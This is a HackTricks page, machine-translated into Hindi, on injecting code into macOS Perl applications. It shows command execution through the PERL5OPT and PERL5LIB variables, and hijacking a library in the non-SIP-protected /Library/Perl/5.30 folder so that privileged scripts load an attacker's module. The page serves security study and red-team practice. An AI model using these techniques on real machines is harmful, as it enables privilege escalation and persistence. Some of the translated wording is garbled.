hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md

5.3 KiB

macOS Perl एप्लिकेशन्स इंजेक्शन

htARTE (HackTricks AWS Red Team Expert) के साथ जीरो से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

PERL5OPT और PERL5LIB env वेरिएबल के माध्यम से

PERL5OPT env वेरिएबल का उपयोग करके perl को विभिन्न कमांड्स को निषेधात्मक रूप से चलाना संभव है।
उदाहरण के लिए, इस स्क्रिप्ट को बनाएं:

{% code title="test.pl" %}

#!/usr/bin/perl
print "Hello from the Perl script!\n";

{% endcode %}

अब एनवी वेरिएबल निर्यात करें और पर्ल स्क्रिप्ट को निष्पादित करें:

export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"

एक और विकल्प है कि एक Perl मॉड्यूल बनाया जाए (उदाहरण: /tmp/pmod.pm):

{% code title="/tmp/pmod.pm" %}

#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value

{% endcode %}

और फिर env variables का उपयोग करें:

PERL5LIB=/tmp/ PERL5OPT=-Mpmod

वाया निर्भरता

Perl चल रहे डिपेंडेंसीज़ फ़ोल्डर क्रम को सूचीबद्ध करना संभव है:

perl -e 'print join("\n", @INC)'

कुछ इस प्रकार की चीज वापस देगा:

/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30

कुछ वापस लौटाए गए फोल्डर मौजूद भी नहीं हैं, हालांकि, /Library/Perl/5.30 मौजूद है, यह SIP द्वारा सुरक्षित नहीं है और यह SIP द्वारा सुरक्षित फोल्डरों से पहले है। इसलिए, कोई व्यक्ति उस फोल्डर का दुरुपयोग करके वहां स्क्रिप्ट डिपेंडेंसीज़ जोड़ सकता है ताकि एक उच्च विशेषाधिकार Perl स्क्रिप्ट इसे लोड करें।

{% hint style="warning" %} हालांकि, ध्यान दें कि आपको उस फोल्डर में लिखने के लिए रूट होना चाहिए और आजकल आपको यह TCC प्रॉम्प्ट मिलेगा: {% endhint %}

उदाहरण के लिए, अगर एक स्क्रिप्ट use File::Basename; को आयात कर रहा है तो /Library/Perl/5.30/File/Basename.pm बनाने से इसे विचारशील कोड को निष्पादित करना संभव होगा।

संदर्भ